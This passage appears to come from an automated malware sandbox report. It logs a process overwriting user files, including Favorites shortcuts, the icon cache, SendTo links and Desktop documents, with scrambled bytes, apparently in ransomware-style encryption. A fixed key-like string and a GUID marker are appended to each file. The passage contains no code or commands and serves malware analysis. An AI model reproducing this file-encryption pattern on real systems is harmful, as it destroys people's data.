23 29 fd 52 fd 6e 35 1f 43 
3e 2e fd 1d 2f fd 6e 16 4d 

P[!J0@ws 4OY( 
E62ud>F-LN?F,\l<..xi]J-
`Ktq{da=8N(_wUr$Lb[oQs
#
.px8B2n2<OrB5~D~8)xJ
D8I"!zq$B#)Rn5C>./nM

success or wait 1 4115FA WriteFile

C:\Users\user\Favorites\Wikipedia.url 370 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\Favorites\Wikipedia.url 410 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\Favorites\Youtube.url 5 107 61 62 5e fd 39 49 6f fd 29 
fd 17 51 fd 38 fd fd fd 6d 
34 fd 62 fd a2 fd fd 5b fd 
7a 01 32 fd 64 42 68 fd fd 
43 39 fd 00 fd fd fd fd 08 
36 55 5c fd 37 fd 48 d3 
7d 64 10 33 fd fd fd fd 32 
fd 7f fd f6 fd fd fd 43 fd fd 
57 fd fd 3f fd 76 fd fd 53 fd 
fd 49 fd 74 fd fd 12 fd 3d 
fd fd 19 79 56 fd fd 2d fd 

ab^9Io)Q8m4b[z2dBhC96
U\7H}d3CW?vSIt=yV-

success or wait 1 411859 WriteFile

C:\Users\user\Favorites\Youtube.url 112 256 3c 09 2e fd 88 46 1f 62 fd 
fd 75 6e 73 fd 05 7f 4e 7f 
fd 06 fd fd fd 6c 7b 43 fd 
fd 3f 69 fd 69 fd fd 42 0d 
51 43 ad 03 fd 78 09 fd fd 
fd 65 45 fd 70 0c 69 fd 47 
fd fd 79 51 fd fd fd fd fd fd 
fd 60 56 fd fd 6e 24 64 fd 
2f 35 35 51 21 fd 4a 54 
26 43 72 fd fd fd 20 22 fd 
ca fd 49 76 fd fd 1b 34 fd 
35 fd 4c 52 6e fd 64 67 
2e 2e 7d 7f 4e 42 33 fd 
03 45 45 43 fd fd 1b fd fd 
fd fd fd 41 fd fd fd fd 3a fd 
32 fd fd 38 4c 1a fd fd fd 
27 35 49 41 fd fd 6f 02 fd 
6b 6e 26 fd fd 79 fd fd 0a 
46 52 fd 34 5e 18 f6 02 fd 
13 fd 13 d4 4f 47 24 fd fd 
11 fd 3f 3c fd ea fd 7f 45 
a1 fd 42 fd fd fd 2e fd fd 
1a fd fd 4e 31 0e fd 76 26 
18 32 3b 33 25 fd 24 fd 
51 fd 53 05 25 15 4a 18 
2e fd fd 32 28 3b 05 2c 
44 fd 60 fd fd fd fd 73 3b 
16 14 

<.FbunsNl{C?
iiQCxeEpiGyQ`Vn$d5
5Q!JT&Cr 
"Iv45LRndg..}NB3EECA:
28L'5IAkn&yFR4^OG$?
<EB.N1v&2;3
%$QS%J.2(,D`s;

success or wait 1 4115FA WriteFile

C:\Users\user\Favorites\Youtube.url 368 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Favorites\Youtube.url 408 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\bo
wsakkdestx.txt

5 557 fd 6a fd fd 72 7d 2f 26 06 
fd fd 16 6c 35 13 fd fd fd 
fd 2c fd 67 3b fd fd 10 fd 
fd 01 fd 22 49 4e 1f fd fd 
75 fd 4f 74 75 fd fd fd fd 
06 30 fd 79 fd 0e fd fd 08 
fd 1b fd 6d 2c 32 fd 4e 4d 
fd fd 59 76 5a fd 54 5c ed 
25 fd fd fd 77 41 25 04 2e 
fd fd 47 76 62 17 fd fd 63 
47 59 fd 77 fd 0b 00 2e fd 
04 5b fd fd 46 fd 88 3e 2b 
fd 4a 5b fd fd 0f 0a fd 75 
fd 1e fd fd fd 4b ab fd fd 
fd 32 0d 1b fd fd 53 fd d6 
fd 75 fd 92 fd fd 3e 08 38 
74 fd 38 4a fd d5 42 02 
07 fd 4c 25 fd 6b 11 2b 
27 fd 5e fd 6f 69 1a 39 63 
32 fd 7b 21 4f fd fd 04 16 
fd 26 44 03 fd fd 13 26 69 
fd 36 6d 7f 07 5c fd fd 62 
fd 4b fd e5 fd 06 76 fd 11 
05 fd 48 fd 1b 6f fd 02 fd 
2b 47 fd 08 03 5a 5a 63 
3e 11 21 fd 43 6a 49 fd fd 
fd 5b fd 21 37 82 2e fd fd 

jr}/&l5,;"INuOtu0ym,2NM
YvZT\%A%.GvbcGYw.
[F>+J[uK2Su>8t8JBL%k
+'^oi9c2{!O&D&i6m\bKvH
o+GZZc>!CjI[!7.

success or wait 1 411859 WriteFile
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C:\Users\user\AppData\Local\bo
wsakkdestx.txt

562 256 09 fd fd 7a fd 6c fd 47 42 
fd fd fd fd 26 7d 1e fd 43 
fd fd fd 5c fd 07 fd fd 6b 
fd 14 fd fd 43 6a 78 46 17 
fd fd fd fd 43 22 fd fd fd 
71 fd 09 2e 52 73 64 fd 
5b 4e fd 0f 60 fd fd 25 38 
07 fd fd 5e fd fd 2c fd fd fd 
07 7c 72 fd 6c 77 40 fd 7a 
4e 69 fd 2f 58 77 12 22 
3c fd 28 fd 30 19 4f fd fd 
0a fd fd fd fd 51 08 fd fd 
78 15 33 19 fd 20 21 22 
14 1d 44 fd 59 12 67 4b 
6d fd fd 16 21 fd 74 fd 6e 
fd 5a fd fd 1f 57 5a 66 fd 
44 fd 34 fd fd 0c fd 10 58 
fd fd fd fd 9f fd fd fd 51 4d 
1e 68 60 fd fd 3b 57 fd 3a 
1d fd fd 1c 38 60 38 69 
44 fd 31 fd 44 49 fd fd fd 
01 59 7c 51 1f 27 fd 02 
55 23 2d fd 6f fd 0b 18 5c 
05 fd 78 4f fd 29 3b 09 2e 
fd fd fd 62 74 72 24 04 fd 
fd 0e 5a 78 fd fd 7b 7f fd 
fd 56 6a fd fd fd 56 fd 4f 
fd 02 5a fd 4d 74 2c 

zlB&}C\kCjFC"q.Rsd[N`%
8^,|rlw@zNi/Xw"<(0OQx3 
!"DYgKm!tnZWZfD
4XQMh`;W:8`8iD1DIY|Q'
U#-\xO);.
btr$Zx{VjVOZMt,

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\bo
wsakkdestx.txt

818 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\bo
wsakkdestx.txt

858 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Local\Ic
onCache.db

5 16340 79 fd 3b 77 fd 67 13 fd 06 
fd 34 7b fd fd fd 29 1b 0f 
fd 5b 32 19 63 67 fd fd fd 
fd 27 7c 7d fd fd 7c 57 ff 
6c fd 55 32 fd fd fd 36 fd 
28 76 57 2e 7c fd fd 52 
dd 47 06 3d 46 fd 04 fd 
5d fd 56 6d fd 3e fd fd fd 
0d 1f 67 fd fd 6e 59 fd fd 
51 0d fd 4e fd 05 55 fd fd 
fd 37 fd fd fd fd 31 fd 52 
7f 14 fd 23 fd fd 67 62 fd 
fd fd fd 4a fd 4c 78 31 2e 
fd 56 65 87 6b fd fd 57 53 
fd 96 fd 1e 56 fd fd 19 fd 
19 74 12 fd 3a fd 5a fd 4b 
37 30 fd fd 3d 66 7e 1a fd 
2e fd fd 25 09 fd 3c 1a 10 
51 fd fd fd 50 fd fd fd 06 
7c fd 3e 36 fd 00 61 fd 3e 
fd 2d 1d 62 13 fd fd fd 78 
29 fd 4d 7b 49 69 52 79 
52 fd 12 41 03 5d 79 fd 
20 1b fd 35 fd 50 fd fd 18 
03 fd 0e fd fd 03 62 2e 04 
fd 77 fd fd fd 5f 45 fd fd fd 
32 34 62 63 6e 69 fd fd 
56 fd 25 fd 79 

y;wg4{)
[2cg'|}|WlU26(vW.|RG=F]
Vm>gnYQNU71R#gbJLx
1.VekWSVt:ZK
70=f~.%QP|>6a>-
bx)M{IiRyRA]y 5
Pb.w_E24bcniV%y

success or wait 1 411859 WriteFile
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C:\Users\user\AppData\Local\Ic
onCache.db

16345 256 5e fd d6 2e 0d fd 00 fd fd 
54 01 fd 6e fd 19 48 69 
0a 75 7a fd 02 6a 0e fd 
36 fd 41 fd fd 25 fd 45 0d 
45 38 0a 41 49 fd 57 0b 
fd 23 fd 07 76 fd 72 20 fd 
3b fd 09 34 49 4c 53 fd 
22 7f fd 43 7a 40 2e 50 fd 
40 fd 1f fd 21 73 4e 0d 29 
11 fd 0c 1f fd 30 15 1e 1a 
fd 6d 41 01 72 fd 22 fd 22 
4c fd 50 fd 2b 76 9a fd 47 
fd fd 86 5a 7f 51 63 fd 7e 
fd fd fd 03 72 1e 03 34 fd 
6c 1c 17 fd fd 70 fd fd 1f 
fd fd 2c 57 41 8d fd fd 29 
fd fd 53 fd 77 35 fd 40 6f 
1e 21 5a 5a fd fd 02 16 fd 
e7 fd 64 fd 23 fd 56 45 23 
6b fd 5f fd 17 58 fd fd 4c 
5b 62 fd 6f fd fd fd 7d fd 
2c 41 fd fd fd 0a fd 13 1e 
74 78 6b fd 02 fd b1 13 fd 
49 3f fd 2b fd fd fd 12 43 
6d fd 65 74 26 28 fd 93 fd 
78 fd 05 a4 68 fd fd fd 08 
fd fd 40 fd fd 17 24 

^.TnHiuzj6A%EE8AIW#vr 
;4IL"Cz@
.P@!sN)0mAr""LP+GZQc
~r4lp,WA)S
w5@o!ZZd#Vk_XL[bo},At
xkI?+Cmet&xh@$

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Ic
onCache.db

16601 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Ic
onCache.db

16641 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Bluetooth 
File Transfer.LNK

5 1044 fd 49 fd fd fd 01 fd 14 5e 
5b fd 57 5a fd 3e 56 fd fd 
fd 53 fd fd 37 5a fd fd fd 
fd 2e fd 74 fd 24 51 fd 36 
fd 1e 2a 05 25 0d 2d fd 
41 fd 2e 7c fd 66 fd fd 36 
1c 52 4a 64 fd 66 3a fd 
6b 49 5a 1e 02 fd fd fd fd 
fd 7d fd fd fd fd 40 fd fd 
36 76 4f fd fd fd db fd fd 
7d 4f 4f fd 7b fd ad fd 29 
53 18 e8 fd 22 fd fd 51 1c 
1b 14 3e cd 08 3d 27 fd 
fd 7e fd fd 19 0e fd fd fd 
7b fd fd 24 fd 3d 17 49 fd 
4f 63 4d fd 78 77 ed fd 78 
24 fd 68 56 fd 2e 3b 69 
50 fd fd 55 fd fd fd 4d 46 
22 fd 45 0d fd fd 4f 45 18 
fd fd 0b 27 fd fd 6a fd 0a 
fd 7c fd 7c 69 fd fd 6e fd 
9e fd fd 24 fd 06 fd 4f fd fd 
03 fd 36 e4 fd 11 32 fd 5e 
65 fd 39 fd 64 fd fd fd 79 
05 fd 7f fd 2d 1b fd 03 fd 
06 fd 44 fd 47 07 fd 13 2b 
fd 3e fd 66 75 4f 53 6b fd 

I^[WZ>VS7Z.t$Q*%-
A.|f6Jdf:kIZ}
@6vO}OO{)S"Q>='~
{$=IOcMxwx$hV.
;iPUMF"EOE'j||in$O62^e
9dy-DG+>fuOSk

success or wait 1 411859 WriteFile
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C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Bluetooth 
File Transfer.LNK

1049 256 7b 27 fd fd fd 03 fd fd 65 
1c 2c fd fd 0d 25 fd 59 fd 
fd 5a 6d fd fd 23 fd 71 26 
03 02 fd 65 fd 6b fd 57 fd 
3e fd fd 57 fd fd fd fd 7f 
79 64 fd fd 18 fd fd 4c fd 
56 fd 37 fd 18 06 35 fd 4c 
0d fd fd 47 fd 00 fd 08 07 
3d 51 5f 5b fd 1a fd fd e0 
fd b3 00 fd 1d fd 3f 2b fd 
6e 62 4d 3b 28 fd fd 37 fd 
18 64 3a fd fd 5d 5d 7a fd 
28 5e 41 fd 12 50 68 7b 
fd fd 2a 20 5a 62 fd 08 fd 
6b 61 fd fd 08 36 1c 0f fd 
05 0b 26 fd 74 68 fd 79 
61 7b fd fd fd fd fd fd fd 
50 65 fd 47 fd 6b fd a2 fd 
5c 32 fd 74 29 5c fd 4d 
18 53 fd 40 0b 63 fd fd fd 
fd 1e fd fd 69 0e 0b fd fd 
fd 11 fd 56 24 fd 6a 0e 33 
fd 48 fd 04 2f 50 7c 3a 30 
0a 2c 55 36 4d fd fd 7b 
05 fd fd fd fd 01 fd fd 51 
19 fd 65 0f fd fd 17 fd 48 
5e fd fd 13 71 fd fd 18 fd 
75 fd fd 

{'e,YZm#q&ekW>WydLV
5LG=Q_[?+nbM;
(7d:]]z(^APh{* 
Zbka6&thya{Pe
Gk\2t)\MS@ciV$j3H/P|:0,
U6M{QeH^qu

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Bluetooth 
File Transfer.LNK

1305 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Bluetooth 
File Transfer.LNK

1345 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Desktop 
(create shortcut).DeskLink

5 2 00 fd success or wait 1 411859 WriteFile

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Desktop 
(create shortcut).DeskLink

7 256 fd 2b fd fd fd fd 74 6a 40 
31 fd 7d 35 2e fd 36 46 fd 
fd fd fd fd 38 fd be 56 fd 
2f 2b 33 19 fd 4f 4f 7d 27 
54 2f fd fd fd 65 50 fd fd 
3c 29 fd fd 69 35 15 7a 
23 fd 65 53 58 77 1b fd 
2a fd 5f fd 7b fd fd 17 1f 
fd fd fd 65 fd fd 1c fd 46 fd 
5a 1b 71 2f 3f fd 37 fd e6 
fd fd 1f 4d 57 fd fd 5c fd 
fd 0c 47 11 fd fd 60 29 4b 
0f 51 72 5c fd 64 fd fd 1a 
32 68 74 22 78 fd 17 0f 3f 
3a 5c 11 fd fd 08 16 fd fd 
fd 7a 58 fd 03 fd 58 fd 4d 
fd fd 1a fd 52 fd fd 55 09 
7d fd 55 1b fd 5d ba 73 fd 
59 65 72 5f 37 fd 44 6d 
13 4f fd fd 46 4f 54 3a 43 
fd fd fd 34 6f 5a fd fd 6b 
6c 5c 19 fd fd 4d 6a 15 fd 
5e 7b fd fd fd 77 fd fd fd 
50 7a 2b 69 fd 34 fd 3b 
17 20 fd fd 60 6e fd fd fd 
27 35 fd 46 78 4e 79 53 
11 61 4e a8 67 fd fd 1c fd 
52 fd 16 

+tj@15.6F8V/+3OO}'T/e
P<i5z#eSXw*_{eFZq/?
7MW\G`)KQr\d2ht"x?:z
XXMRU}U]sYer_7DmOF
OT:C4oZkl\Mj^{wPz+i4; 
`n'5NySaNgR

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Desktop 
(create shortcut).DeskLink

263 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Roaming\
Microsoft\Windows\SendTo\Desktop 
(create shortcut).DeskLink

303 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Desktop\DVWHKMNF
NN\DVWHKMNFNN.docx

5 1021 57 fd 07 fd 5c 77 79 14 
4b 5b fd fd fd 21 fd 43 3c 
fd 7c 42 40 4e fd fd fd fd 
5c fd fd 35 e3 6b 64 fd 76 
fd fd fd 0a fd fd fd 69 78 
3f fd fd 72 fd 3b 54 88 fd 
fd 12 39 01 52 04 fd fd 46 
3d 5b 3b fd 56 fd fd fd 4d 
24 37 fd 62 fd fd fd fd fd 
fd 67 fd 2a fd fd ee 07 30 
00 7c fd 4f 4f 40 4c 72 fd 
36 4a 57 fd 7c fd fd 0a fd 
fd fd fd 67 14 35 fd 79 fd 
04 08 4c fd 19 6d fd fd 79 
fd 04 fd fd 26 0f fd 65 6c 
fd 57 fd fd 08 fd fd fd 34 
fd 6b fd 09 fd 56 fd 2a fd 
28 fd 42 13 fd 0d 68 1b 
20 75 56 fd 06 56 76 fd 
0b 7f 1f fd 1e fd fd 2a 14 
fd 60 fd fd 1b cb fd 28 19 
2f 4e fd 2c 62 fd fd 7c 38 
fd 04 17 fd fd fd fd 0e 60 
4a 39 30 fd 37 fd 09 fd 57 
fd fd fd fd fd fd 6e fd 23 
15 fd fd fd 32 fd fd 1b 32 
15 fd fd fd fd fd fd fd 78 14 

W\wyK[!C<|B@N\5kdvixr;
T9RF=[;V
M$7g*0|OO@Lr6JW|g5yL
my&elW4kV*(Bh 
uVVv*`(/N,b|8`J907Wn#2
2x

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN\DVWHKMNFNN.docx

1026 256 63 fd fd fd 77 fd 7f fd fd fd 
fd fd fd 1c fd 38 fd 76 fd 
13 3d 7c fd fd 65 26 6f fd 
27 fd 69 fd fd 45 fd fd 53 
fd fd 76 fd 7e 56 4e 33 fd 
fd 13 fd 7d fd 29 58 fd 77 
fd 1e 57 28 61 68 fd 69 
6d 52 0d fd 76 fd fd fd 5c 
44 fd fd 1b cb 3d 14 34 fd 
47 00 0f 68 fd fd 59 42 00 
3f 2a fd fd 67 fd 52 fd 2a 
76 3a fd fd 7c 09 17 7b fd 
06 fd fd 69 2f 42 fd 41 fd 
0a fd 6d 66 fd 22 fd fd fd 
1c 42 fd 42 55 6b fd fd 10 
fd 0c fd 7c fd 12 00 fd 3d 
fd 33 fd fd 39 fd fd fd fd 
16 49 32 13 fd fd 42 48 
3b 70 6d fd 67 fd 16 46 fd 
fd fd 47 20 fd 71 fd fd 15 
fd fd 0d fd fa fd 28 fd fd 
33 24 fd 57 fd fd fd 5a 5b 
fd 22 fd 58 fd 6d 67 76 fd 
5f fd 6d 7e 40 1e 21 fd fd 
78 fd 78 53 fd 62 fd 34 2a 
2f 58 04 46 2c 62 54 fd 
47 fd 23 3e 42 53 60 fd 
57 6e fd fd 4e 2f 75 fd 

cw8v=|e&o'iESv~VN3})X
wW(ahimRv\D=4GhYB?
*gR*v:|{i/BAmf"BBUk|=
39IBH;pmgFG 
q(3$Z["Xmgv_m~@!xx
Sb4*/XF,bTG#>BS`WnN/
u

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN\DVWHKMNFNN.docx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN\DVWHKMNFNN.docx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Desktop\DVWHKMNF
NN\KZWFNRXYKI.mp3

5 1021 3f fd 38 fd fd fd 50 fd 1b 
fd fd 3c fd 7a 26 70 fd fd 
fd 45 fd fd 45 3b fd fd fd 
1e 18 fd 24 5d 39 36 0b 
1f fd 1f 61 5f 33 5e 2b 13 
03 00 01 fd fd 21 3a fd 13 
45 fd fd 4b 70 52 56 64 
74 fd 01 30 fd fd fd 3e 22 
11 25 fd 3a 6e fd 46 33 
02 fd 3d fd 1c 39 fd fd 52 
fd fd fd 37 68 fd fd fd fd 
66 fd 13 73 fd 4b fd 15 fd 
fd fd 33 fd fd 67 17 01 24 
fd 4a 05 6a fd fd fd 38 15 
3b 55 60 fd 4b fd 28 fd fd 
fd 72 3e fd 5c 4e fd fd fd 
4b 3c b1 fd 40 27 fd fd 34 
33 53 fd 66 1c 3e 5a fd 
48 26 fd 7d 04 25 13 10 
62 59 bf fd fd 2f fd 05 fd 
5e 68 3f fd 19 67 7b 4e fd 
fd 7e 49 fd 75 fd 68 fd fd 
1c 65 fd 7c fd 7b fd 21 fd 
41 fd 1f 5c 4d fd 68 7b 2b 
31 7c fd fd 56 45 fd 57 7e 
fd 76 43 fd 5b fd 51 fd 26 
54 70 32 45 27 fd 6b 2c 
1e 18 28 fd fd fd 27 41 78 
68 

?
8P<z&pEE;$]96a_3^+:EK
pRVdt0>"
%:nF3=9R7hsK3g$Jj8;U`
K(r>\NK@'
43Sf>ZH&}%bY/^h?
g{N~Iuhe|!A\Mh
{+1|VEW~vC[Q&Tp2E'k,
('Axh

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN\KZWFNRXYKI.mp3

1026 256 fd 14 51 6f 2d 54 fd fd 73 
1b 54 fd fd fd 7d fd 48 62 
77 fd 30 fd 64 fd 50 26 64 
21 fd 5e 3d 24 fd fd fd fd 
2e fd 52 46 fd 70 fd fd 05 
fd 53 79 30 6a 25 51 fd 
30 38 4e fd 17 01 06 7c 
fd 26 fd 8d fd fd 10 44 fd 
fd fd 6e 75 fd 4d 0e 1a fd 
4b 22 1e fd 17 fd 14 01 fd 
54 6d fd 5e fd 38 24 7b 4f 
fd fd fd 66 44 fd 40 1a 29 
77 fd fd 2c fd fd 91 fd 6d 
5b fd fd fd fd 79 23 34 6d 
fd fd 20 fd fd fd 4c fd fd fd 
37 08 7c fd fd 0f 23 fd 4a 
fd fd fd 55 1f 11 14 08 fd 
fd 12 06 05 61 fd 06 fd 6e 
4d af 4d fd 1d fd 51 14 fd 
79 27 52 11 fd 3b fd 04 fd 
fd 60 fd 34 7c 27 51 58 
1e fd fd fd 14 fd 4a 06 7d 
1c 55 31 fd 24 fd 1c 7d 
43 fd 7c 61 04 1b fd 39 
31 13 fd ce 4b fd fd 17 fd 
29 ca 0c fd fd fd fd 10 05 
fd 2c f7 fd fd 4f fd 

Qo-
TsT}Hbw0dP&d!^=$.RFp
Sy0j%Q0
8N|&uK"Tm^8${OfD@)w,
m[y#4m L7|
#JUanMMQy'R;`4|'QXJ}U
1$}C|a91K),O

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN\KZWFNRXYKI.mp3

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN\KZWFNRXYKI.mp3

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Desktop\DVWHKMNF
NN\LTKMYBSEYZ.xlsx

5 1021 4a 60 5b 2e fd 04 73 36 
59 73 1e fd 29 1e fd 07 fd 
4e fd 1f fd fd fd 11 fd 1c 
67 fd fd 7d 4d fd 0a 65 fd 
32 fd fd fd a9 fd 0a 1f 19 
fd fd fd fd fd 4d 47 fd 3d 
53 5a fd fd fd 18 fd fd 65 
67 65 57 06 38 79 fd 71 
fd 26 fd 0d 33 fd fd 42 1d 
2c fd 2c 5d fd 0a fd 65 fd 
5f 28 35 53 fd 6d 0c fd fd 
fd 1c fd fd fd fd 32 fd fd fd 
06 67 fd fd 4d fd 3b fd 17 
02 28 fd fd 33 fd fd fd 6a 
5d 6d 57 7a 0b fd fd fd fd 
53 ed 2c 58 36 57 fd 2b 
fd 20 fd fd fd 7b fd 24 fd 
7c 37 fd 59 26 02 3a 35 
fd 66 36 09 48 fd 34 fd 7d 
fd fd fd fd 50 42 fd 7f 1b 
7d 39 40 fd 4d 11 fd 49 fd 
fd ba fd fd 31 fd fd fd fd 
21 5e 1d 20 15 2e 04 fd 
fd 32 fd 36 fd 76 52 5d 3d 
fd fd 2a 29 2e 67 19 fd 70 
fd fd fd fd 44 4a 56 fd 0d 
fd 61 fd fd fd fd 66 fd 14 
e4 fd b4 fd 3a 

J`[.s6Ys)Ng}Me2MG=SZ
egeW8yq&3,
,]e_(5Sm2gM;
(3j]mWzS,X6W+ $|7Y
&:5f6H4}PB}9@MI1!^ 
.26vR]=*).gpDJVaf:

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN\LTKMYBSEYZ.xlsx

1026 256 79 33 4f fd fd 08 2e 2f fd 
6f 71 2c fd fd 78 33 44 fd 
33 fd 7f fd 57 44 fd fd 1b 
79 fd 57 12 fd 59 62 3f 18 
fd fd fd 28 0f fd 79 fd fd fd 
71 fd bb 0a fd fd 0d 53 a2 
fd 19 6d fd fd fd 65 fd 5e 
44 fd 61 22 45 30 fd 47 
79 03 fd 4c fd fd 37 35 fd 
54 65 fd 19 fd fd 07 fd fd 
fd fd 11 4b 5a fd fd 33 43 
56 06 fd fd 4d 2d fd 0f 78 
76 fd 2b 4b 1e 37 fd 4a 
16 2c fd fd 2d fd fd 05 fd 
21 fd 00 23 1b fd fd 5e 6c 
5d fd 17 fd fd 62 3b fd 02 
50 1e 51 fd fd 72 3c 17 1f 
fd fd 42 fd fd 48 fd 0d fd 
fb 19 0d 09 4b 71 fd 6f fd 
63 fd 07 00 4b 52 62 6f fd 
7f fd 43 fd 6e 12 fd 56 fd 
fd 6d fd 7b fd 7a d4 fd fd 
20 fd fd 0f fd 06 fd fd 16 
fd 7c fd 1a 6e fd fd fd 7a 
1c fd fd 69 66 6e 07 fd 61 
fd fd fd 00 fd fd fd fd 42 fd 
fd fd 70 0f 50 fd 00 1e fd 

y3O./oq,x3D3WDyWYb?
(yqSme^Da"E
0GyL75TeKZ3CMxv+K7J
,-!#^l]b;PQ
r<BHKqocKRboCnVm{z 
|nzifnaBpP

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN\LTKMYBSEYZ.xlsx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN\LTKMYBSEYZ.xlsx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Desktop\DVWHKMNF
NN\NWTVCDUMOB.pdf

5 1021 fd fd e0 36 fd fd fd fd 22 
fd fd fd 35 fd 3c 60 fd fd 
0b 08 fd fd 16 fd 67 fd 4c 
fd 18 fd 2d fd 2e fd 0f 08 
fd 40 56 1d 34 00 fd fd 2a 
fd fd fd fd fd fd fd fd 43 fd 
39 4e fd 6a fd 00 fd fd 78 
28 19 fd 21 2c 12 31 fd 
